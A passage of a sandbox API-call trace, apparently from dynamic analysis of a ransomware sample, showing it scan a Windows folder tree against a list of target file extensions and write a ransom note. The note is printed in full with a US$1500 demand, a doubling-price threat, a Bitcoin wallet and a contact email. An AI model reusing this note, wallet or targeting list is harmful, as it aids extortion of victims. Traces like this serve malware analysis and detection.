pszSpec="*.mpeg") returned 0 [0109.115] lstrlenA (lpString="*.mpeg") returned 6 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.djvu") returned 0 [0109.115] lstrlenA (lpString="*.djvu") returned 6 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.tiff") returned 0 [0109.115] lstrlenA (lpString="*.tiff") returned 6 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.backup") returned 0 [0109.115] lstrlenA (lpString="*.backup") returned 8 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.pdf") returned 0 [0109.115] lstrlenA (lpString="*.pdf") returned 5 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.cert") returned 0 [0109.115] lstrlenA (lpString="*.cert") returned 6 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.docm") returned 0 [0109.115] lstrlenA (lpString="*.docm") returned 6 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.xlsm") returned 0 [0109.115] lstrlenA (lpString="*.xlsm") returned 6 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.dwg") returned 0 [0109.115] lstrlenA (lpString="*.dwg") returned 5 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.nd") returned 0 [0109.115] lstrlenA (lpString="*.nd") returned 4 [0109.115] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.tlg") returned 0 [0109.116] lstrlenA (lpString="*.tlg") returned 5 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.lgb") returned 0 [0109.116] lstrlenA (lpString="*.lgb") returned 5 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.mov") returned 0 [0109.116] lstrlenA (lpString="*.mov") returned 5 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.xdw") returned 0 [0109.116] lstrlenA (lpString="*.xdw") returned 5 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.ods") returned 0 [0109.116] lstrlenA (lpString="*.ods") returned 5 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.wav") returned 0 [0109.116] lstrlenA (lpString="*.wav") returned 5 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.mp3") returned 0 [0109.116] lstrlenA (lpString="*.mp3") returned 5 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.aiff") returned 0 [0109.116] lstrlenA (lpString="*.aiff") returned 6 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.flac") returned 0 [0109.116] lstrlenA (lpString="*.flac") returned 6 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.m4a") returned 0 [0109.116] lstrlenA (lpString="*.m4a") returned 5 [0109.116] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\dcf1d740ffae84572215588047a59861\\Microsoft.PowerShell.GraphicalHost.ni.dll", pszSpec="*.csv") returned 0 [0109.116] lstrlenA (lpString="*.csv") returned 5 [0109.116] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb1369f7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb1369f7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb1369f7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xf4200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.GraphicalHost.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.116] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.116] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb6d3e09, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeb6d3e09, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeb6d3e09, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ec50af274bf7a15fb59ac1f0d353b7ea", cAlternateFileName="EC50AF~1")) returned 1 [0109.117] lstrcmpA (lpString1=".", lpString2="ec50af274bf7a15fb59ac1f0d353b7ea") returned -1 [0109.117] lstrcmpA (lpString1="..", lpString2="ec50af274bf7a15fb59ac1f0d353b7ea") returned -1 [0109.117] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*.*") returned="*.*" [0109.117] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\", lpString2="ec50af274bf7a15fb59ac1f0d353b7ea" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea" [0109.117] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea") returned 100 [0109.117] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb6d3e09, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeb6d3e09, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeb6d3e09, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.117] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.117] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb6d3e09, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeb6d3e09, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeb6d3e09, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.117] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.117] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.117] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb687b49, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeb687b49, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeb687b49, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x65c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Commands.Diagnostics.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.117] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.117] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.PowerShell.Commands.Diagnostics.ni.dll") returned -1 [0109.118] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.PowerShell.Commands.Diagnostics.ni.dll") returned -1 [0109.118] lstrcmpiA (lpString1="", lpString2="Microsoft.PowerShell.Commands.Diagnostics.ni.dll") returned -1 [0109.118] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\*.*") returned="*.*" [0109.118] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\" [0109.118] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\") returned="" [0109.118] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\HOW TO DECRYPT FILES.txt" [0109.118] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\how to decrypt files.txt")) returned 0xffffffff [0109.118] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.124] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.124] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.125] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.126] CloseHandle (hObject=0x90) returned 1 [0109.126] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\", lpString2="Microsoft.PowerShell.Commands.Diagnostics.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.ems") returned 0 [0109.126] lstrlenA (lpString="*.ems") returned 5 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.db") returned 0 [0109.126] lstrlenA (lpString="*.db") returned 4 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.dbf") returned 0 [0109.126] lstrlenA (lpString="*.dbf") returned 5 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.myox") returned 0 [0109.126] lstrlenA (lpString="*.myox") returned 6 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.myo") returned 0 [0109.126] lstrlenA (lpString="*.myo") returned 5 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.qbw") returned 0 [0109.126] lstrlenA (lpString="*.qbw") returned 5 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.qbb") returned 0 [0109.126] lstrlenA (lpString="*.qbb") returned 5 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.qbm") returned 0 [0109.126] lstrlenA (lpString="*.qbm") returned 5 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.qbo") returned 0 [0109.126] lstrlenA (lpString="*.qbo") returned 5 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.qbx") returned 0 [0109.126] lstrlenA (lpString="*.qbx") returned 5 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.qba") returned 0 [0109.126] lstrlenA (lpString="*.qba") returned 5 [0109.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.qby") returned 0 [0109.127] lstrlenA (lpString="*.qby") returned 5 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.qbj") returned 0 [0109.127] lstrlenA (lpString="*.qbj") returned 5 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.ofx") returned 0 [0109.127] lstrlenA (lpString="*.ofx") returned 5 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.qif") returned 0 [0109.127] lstrlenA (lpString="*.qif") returned 5 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.mye") returned 0 [0109.127] lstrlenA (lpString="*.mye") returned 5 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.mbox") returned 0 [0109.127] lstrlenA (lpString="*.mbox") returned 6 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.eml") returned 0 [0109.127] lstrlenA (lpString="*.eml") returned 5 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.pst") returned 0 [0109.127] lstrlenA (lpString="*.pst") returned 5 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.ost") returned 0 [0109.127] lstrlenA (lpString="*.ost") returned 5 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.idx") returned 0 [0109.127] lstrlenA (lpString="*.idx") returned 5 [0109.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.dbx") returned 0 [0109.127] lstrlenA (lpString="*.dbx") returned 5 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.sql") returned 0 [0109.128] lstrlenA (lpString="*.sql") returned 5 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.mdb") returned 0 [0109.128] lstrlenA (lpString="*.mdb") returned 5 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.fdb") returned 0 [0109.128] lstrlenA (lpString="*.fdb") returned 5 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.wab") returned 0 [0109.128] lstrlenA (lpString="*.wab") returned 5 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.dat") returned 0 [0109.128] lstrlenA (lpString="*.dat") returned 5 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.txt") returned 0 [0109.128] lstrlenA (lpString="*.txt") returned 5 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.jpeg") returned 0 [0109.128] lstrlenA (lpString="*.jpeg") returned 6 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.jpg") returned 0 [0109.128] lstrlenA (lpString="*.jpg") returned 5 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.png") returned 0 [0109.128] lstrlenA (lpString="*.png") returned 5 [0109.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.php") returned 0 [0109.128] lstrlenA (lpString="*.php") returned 5 [0109.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.cs") returned 0 [0109.129] lstrlenA (lpString="*.cs") returned 4 [0109.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.cpp") returned 0 [0109.129] lstrlenA (lpString="*.cpp") returned 5 [0109.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.rar") returned 0 [0109.129] lstrlenA (lpString="*.rar") returned 5 [0109.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.zip") returned 0 [0109.129] lstrlenA (lpString="*.zip") returned 5 [0109.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.html") returned 0 [0109.129] lstrlenA (lpString="*.html") returned 6 [0109.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.htm") returned 0 [0109.129] lstrlenA (lpString="*.htm") returned 5 [0109.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.xlsx") returned 0 [0109.129] lstrlenA (lpString="*.xlsx") returned 6 [0109.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.xls") returned 0 [0109.129] lstrlenA (lpString="*.xls") returned 5 [0109.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.mp4") returned 0 [0109.129] lstrlenA (lpString="*.mp4") returned 5 [0109.129] PathMatchSpecA 